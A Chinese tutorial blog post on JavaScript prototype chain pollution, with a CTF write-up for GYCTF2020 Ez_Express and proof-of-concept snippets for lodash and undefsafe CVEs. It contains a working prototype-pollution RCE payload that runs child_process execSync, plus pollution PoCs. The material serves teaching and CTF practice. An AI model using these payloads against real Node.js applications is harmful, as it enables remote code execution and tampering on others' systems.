js原型链污染

news/2025/4/22 1:21:29

JavaScript 是一门非常灵活的语言,与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外,也会有一些独有的安全问题,比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。

什么是原型链(Prototype Chain)?

在 JavaScript 里,对象是可以继承其他对象的属性和方法的,这种继承就是通过“原型(prototype)”实现的

每个对象都有一个隐藏属性 [[Prototype]](可以通过 __proto__ 访问),它指向另一个对象,这个被指向的对象就是“原型对象——prototype“。

这些原型对象也可以有自己的原型——__proto__,层层向上直到一个对象的原型对象为null,于是就形成了一个“链条”结构~这条链子就叫做 原型链(Prototype Chain)

举个栗子喵:

let obj = {name: "ALe"
};console.log(obj.toString()); // 虽然没写这个方法,但可以调用!// 因为 obj -> Object.prototype -> 原型链上找到了 toString 方法

💡 这里的过程是这样的:

obj↓
Object.prototype↓
null(原型链的尽头)

一个更形象的例子:

function Cat() {}
Cat.prototype.sayHi = function () {console.log("喵~");
};let migu = new Cat();
migu.sayHi(); // 喵~

migu 自己没有 sayHi 方法,但它可以通过原型链从 Cat.prototype 那里找到并使用它!

原型链长什么样喵?

migu --> Cat.prototype --> Object.prototype --> null

a.__proto__ 是与 A.prototype 等价的,而 A.prototype.__proto__ 是指向 Object.prototype 的,再往下 Object.prototype.__proto__ 指向 null,这就是 JavaScript 中的原型继承链,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法,这个特性被用来实现 JavaScript 中的继承机制。

我们可以通过以下方式访问得到某一实例对象的原型对象:

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

JavaScript 对象是动态的属性“包”(指其自己的属性)。JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

https://xz.aliyun.com/news/9482关于原型链更复杂的东西可以在这里面学

什么是原型链污染?

在 JavaScript 里,每个对象都会通过 __proto__(或者 Object.prototype)连接到它的原型链上。当我们访问一个对象的属性时,如果这个属性不存在,就会沿着原型链去找。

原型链污染 就是指攻击者可以通过修改对象的原型链(Object.prototype),给所有对象添加恶意属性或方法。这可能会影响整个应用程序的行为,甚至造成严重的安全漏洞

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致dos攻击、篡改程序执行流程、RCE等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。

举个简单例子喵:

let obj = {};
console.log(obj.hack); // undefined// 模拟污染
let payload = JSON.parse('{"__proto__": {"hack": "you are hacked"}}');
Object.assign({}, payload);console.log(obj.hack); // you are hacked

在这个例子中:

  • 我们用 JSON.parse 模拟从外部传入的数据。
  • __proto__ 的值设置为了一个对象,其中含有一个叫 "hack" 的属性。
  • 然后用 Object.assign 把这个污染对象合并到一个新对象里。
  • 最终污染了整个 Object.prototype所有对象都能访问到 hack 属性

Merge 类操作导致原型链污染

Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。

我们平时开发时常常需要把多个对象合并起来,比如配置项:

、const defaultConfig = { theme: "light" };
const userConfig = { theme: "dark", lang: "zh" };const config = Object.assign({}, defaultConfig, userConfig);

合并后配置就是 { theme: "dark", lang: "zh" },但问题来了——如果你使用的是递归合并(deep merge),就容易中招

为什么 Merge 操作容易被污染?

深度合并时,我们会把嵌套对象一个一个递归进去:

function deepMerge(target, source) {for (let key in source) {if (typeof source[key] === "object" &&source[key] !== null &&typeof target[key] === "object") {deepMerge(target[key], source[key]);} else {target[key] = source[key];}}
}

如果攻击者传入的是:

{"__proto__": {"isAdmin": true}
}

那在 merge 的过程中就会执行:

target["__proto__"] = { isAdmin: true };

然后你就污染了整个 Object.prototype

例如:

[GYCTF2020]Ez_Express

www.zip下载源码

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => {    // 发现 merge 危险操作for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),    // 变成大写'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/');
});
router.post('/action', function (req, res) {    // /action 路由只能 admin 用户访问if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);    // 使用了之前定义的 merge 危险操作res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

/route/index.js中用了merge()clone()需要admin账号才能用到clone()

可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题

Fuzz中的javascript大小写特性 | 离别歌

注册admın让我们输入自己最喜欢的语言,这里我们就可以发送 Payload 进行原型链污染了:

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

然后访问info路由就可以得到flag

payload原理
  1. req.body 中含有 __proto__
{"__proto__": {"outputFunctionName": "..." // 恶意代码}
}
  1. 进入 merge() 后,会变成:
Object.prototype.outputFunctionName = "..."
  1. //info 路由中,有这么一句代码:
res.outputFunctionName = undefined;

你可能会以为这设置了一个空值,但其实并不会阻止调用这个字段

因为 Express 用的是 res.render(view, locals),它内部可能会调用 res.outputFunctionName()作为模板渲染钩子,特别是在使用像 ejspug 之类的模板引擎时。

所以:

res.render('index', data={ user: req.session.user.user })

时,可能会调用这个 outputFunctionName 字段。

一旦这个字段被设置成了一个函数或表达式字符串,比如:

js复制编辑
Object.prototype.outputFunctionName = "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()"

在某些模板引擎(例如旧版 ejs)中会被当作要执行的代码,从而执行 RCE

global.process.mainModule.constructor._load("child_process").execSync("cat /flag").toString()

这个就是最经典的 Node.js 沙箱逃逸技巧,可以执行任意命令!

比如这条命令就会读取 /flag 文件的内容

Lodash 模块原型链污染

什么是 Lodash?

Lodash 是 JavaScript 的一个非常流行的工具库,常用于:

  • 深拷贝对象(_.merge()
  • 默认合并值(_.defaults() / _.defaultsDeep()
  • 各种数组、对象处理便利函数

非常多的后端和前端项目中都会用到 Lodash

————————————————————————————————————

对下面这些我都只是一知半解只会用poc的程度,具体原理可以看https://xz.aliyun.com/news/9482

lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();
lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

merge(object, sources)

当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作实际上存在原型链污染漏洞

验证漏洞的 POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞

lodash.mergeWith 方法造成的原型链污染

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。

set(object, path, value)
  • 示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5

在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe 模块原型链污染(CVE-2019-10795)

Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

undefsafe() 在设置路径时,没有阻止你写入特殊字段如:

__proto__
constructor
prototype

于是你可以这样操作:

undefsafe({}, '__proto__.polluted', '💣');
console.log({}.polluted); // 💣

这就造成了原型链污染漏洞, 和 Lodash 的 merge 漏洞本质一样


https://dhexx.cn/news/show-5497338.html

相关文章

17:00开始面试,17:08就出来了,问的问题有点变态。。。

从小厂出来&#xff0c;没想到在另一家公司又寄了。 到这家公司开始上班&#xff0c;加班是每天必不可少的&#xff0c;看在钱给的比较多的份上&#xff0c;就不太计较了。没想到4月一纸通知&#xff0c;所有人不准加班&#xff0c;加班费不仅没有了&#xff0c;薪资还要降40%…

Formality:Bug记录

相关阅读 Formalityhttps://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482 本文记录博主在使用Synopsys的形式验证工具Formality中遇到的一个Bug。 Bug复现 情况一 // 例1 module dff (input clk, input d_in, output d_out …

Pytorch 第十五回:神经网络编码器——GAN生成对抗网络

Pytorch 第十五回&#xff1a;神经网络编码器——GAN生成对抗网络 本次开启深度学习第十五回&#xff0c;基于Pytorch的神经网络编码器。本回分享的是GAN生成对抗网络。在本回中&#xff0c;通过minist数据集来分享如何建立一个GAN生成对抗网络。接下来给大家分享具体思路。 本…

ffmpeg命令(一):信息查询命令

媒体文件信息查看 命令说明ffmpeg -i input.mp4查看媒体文件基本信息&#xff08;封装格式、编解码器、时长等&#xff09;ffprobe input.mp4使用专用工具查看详细信息ffprobe -v error -show_format -show_streams input.mp4输出格式和流的详细信息ffprobe -v quiet -print_f…

蓝桥杯嵌入式十六届赛前复习总结与准备

一.软件使用 赛点是没有网络的&#xff0c;要自己下载原件与数据包&#xff0c;这里给大家一个演示 在updater Settings这里设置文件存放位置&#xff0c;为了方便查找和提交文件&#xff0c;建议在桌面建立一个文件夹来存放。 把赛点的芯片包复制到创建的文件夹然后解压缩 之…

大模型量化实战:GPTQ与AWQ量化方案对比与部署优化

一、引言 近年来&#xff0c;大型语言模型&#xff08;LLMs&#xff09;在自然语言处理领域取得了突破性进展&#xff0c;展现出惊人的能力。然而&#xff0c;LLMs 的巨大参数量和计算需求带来了高昂的部署成本和推理延迟&#xff0c;限制了它们在资源受限环境&#xff08;如边…

D3路网图技术文档

在本文档中&#xff0c;我们将探讨如何使用 D3.js&#xff0c;结合 SVG&#xff08;可缩放矢量图形&#xff09;和 Canvas&#xff0c;来实现高效、交互性强的路网图效果。D3.js 是一个强大的 JavaScript 数据可视化库&#xff0c;可以基于数据驱动文档对象模型&#xff08;DOM…

RCEP框架下eBay日本站选品战略重构:五维解析关税红利机遇

2024年RCEP深化实施背景下&#xff0c;亚太跨境电商生态迎来结构性变革。作为协定核心成员的日本市场&#xff0c;其跨境电商平台正经历新一轮价值重构。本文将聚焦eBay日本站&#xff0c;从政策解读到实操路径&#xff0c;系统拆解跨境卖家的战略机遇。 一、关税递减机制下的…

MCP(模型上下文协议)、A2A(Agent2Agent)协议和JSON-RPC 2.0的前沿技术解析

MCP&#xff08;模型上下文协议&#xff09;、A2A&#xff08;Agent2Agent&#xff09;协议 和 JSON-RPC 2.0 的前沿技术解析&#xff0c;结合它们在 AI 领域的应用场景与创新价值&#xff1a; 1. MCP&#xff08;Model Context Protocol&#xff09;&#xff1a;AI 与外部世界…

原创MathorCup建模半自动化辅助排版模板及论文排版格式要求

一、选题要求 研究生组参赛队只能从 A、B 题中任选一题&#xff0c;本科组、专科组及教师组参赛队可从 A、B、C、D 题中任选一题作答。提交电子档论文时&#xff0c;在报名系统内选择自己队伍的题号 (A、B 或 C、D)&#xff0c;选择题号时&#xff0c;务必准确&#xff1b;一旦…